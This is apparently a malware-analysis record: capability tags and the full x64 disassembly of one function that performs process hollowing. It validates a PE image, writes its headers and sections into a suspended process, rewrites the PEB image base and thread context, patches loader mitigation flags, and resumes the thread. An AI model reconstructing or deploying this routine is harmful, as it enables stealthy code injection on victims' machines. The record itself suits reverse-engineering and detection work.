Function at 0x140019968
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x5d8
mov byte [rsp + 0x30], 0xcc
mov byte [rsp + 0x48], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x590], 0
mov qword [rsp + 0x5b0], 0
mov qword [rsp + 0x570], 0
mov qword [rsp + 0x5a0], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x88], 0
mov rax, qword [rsp + 0x5f0]
mov qword [rsp + 0x5a8], rax
mov rax, qword [rsp + 0x5a8]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140019a02
xor eax, eax
jmp 0x140019e19
mov rax, qword [rsp + 0x5a8]
movsxd rcx, dword [rax + 0x3c]
mov rax, qword [rsp + 0x5f0]
add rax, rcx
mov qword [rsp + 0x588], rax
mov rax, qword [rsp + 0x588]
cmp dword [rax], 0x4550
je 0x140019a38
xor eax, eax
jmp 0x140019e19
mov r8d, 0x4d0
xor edx, edx
lea rcx, [rsp + 0xa0]
call fcn.140001c90
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.140001c90
mov dword [rsp + 0xd0], 0x10000b
lea rdx, [rsp + 0xa0]
mov rcx, qword [rsp + 0x5e8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140019a8b
xor eax, eax
jmp 0x140019e19
mov rdx, qword [rsp + 0x128]
add rdx, 0x10
lea rax, [rsp + 0x5b8]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rsp + 0x80]
mov rcx, qword [rsp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140019acb
xor eax, eax
jmp 0x140019e19
mov rax, qword [rsp + 0x588]
mov r8d, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rsp + 0x588]
mov rdx, qword [rdx + 0x30]
mov rcx, qword [rsp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x580], rax
cmp qword [rsp + 0x580], 0
je 0x140019b28
mov rax, qword [rsp + 0x588]
mov rax, qword [rax + 0x30]
cmp qword [rsp + 0x580], rax
je 0x140019b2f
xor eax, eax
jmp 0x140019e19
mov rax, qword [rsp + 0x588]
mov r9d, dword [rax + 0x54]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r8, qword [rsp + 0x5f0]
mov rdx, qword [rsp + 0x580]
mov rcx, qword [rsp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140019b6e
xor eax, eax
jmp 0x140019e19
mov rax, qword [rsp + 0x588]
movzx ecx, word [rax + 0x14]
mov rax, qword [rsp + 0x588]
lea rax, [rax + rcx + 0x18]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x7c], 0
jmp 0x140019ba1
mov eax, dword [rsp + 0x7c]
add eax, 1
mov dword [rsp + 0x7c], eax
mov rax, qword [rsp + 0x588]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x7c], eax
jge 0x140019c15
mov rax, qword [rsp + 0x58]
mov r9d, dword [rax + 0x10]
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x14]
mov r8, qword [rsp + 0x5f0]
add r8, rax
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0xc]
mov rdx, qword [rsp + 0x580]
add rdx, rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140019c05
xor eax, eax
jmp 0x140019e19
mov rax, qword [rsp + 0x58]
add rax, 0x28
mov qword [rsp + 0x58], rax
jmp 0x140019b96
mov r8, qword [rsp + 0x588]
add r8, 0x30
mov rdx, qword [rsp + 0x128]
add rdx, 0x10
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 8
mov rcx, qword [rsp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r11, qword [rsp + 0x588]
mov ecx, dword [r11 + 0x28]
mov rax, qword [rsp + 0x580]
add rax, rcx
mov qword [rsp + 0x120], rax
lea rdx, [rsp + 0xa0]
mov rcx, qword [rsp + 0x5e8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
lea rcx, [0x1400612c0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
je 0x140019d39
lea rdx, str.RtlUserThreadStart
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x590], rax
lea rdx, str.LdrSystemDllInitBlock
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x5b0], rax
cmp qword [rsp + 0x5b0], 0
je 0x140019d39
cmp qword [rsp + 0x590], 0
je 0x140019d39
mov rax, qword [rsp + 0x5b0]
add rax, 0xa8
mov qword [rsp + 0x570], rax
mov rcx, qword [rsp + 0x570]
movabs rax, 0x2000100000000010
cmp qword [rcx], rax
jne 0x140019d39
mov rcx, qword [rsp + 0x590]
mov rax, qword [rsp + 0x5b0]
sub rax, rcx
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140019de7
mov rcx, qword [rsp + 0x198]
mov rax, qword [rsp + 0x40]
lea rdx, [rcx + rax + 0xa8]
lea rax, [rsp + 0x5b8]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rsp + 0x88]
mov rcx, qword [rsp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movabs r11, 0x2000100000000010
cmp qword [rsp + 0x88], r11
jne 0x140019de7
movabs rax, 0x2000000000000000
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x198]
mov rax, qword [rsp + 0x40]
lea rdx, [rcx + rax + 0xa8]
lea rax, [rsp + 0x5b8]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rsp + 0x88]
mov rcx, qword [rsp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x5e8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x140019e07
mov dword [rsp + 0x5c0], 1
jmp 0x140019e12
mov dword [rsp + 0x5c0], 0
mov eax, dword [rsp + 0x5c0]
add rsp, 0x5d8
ret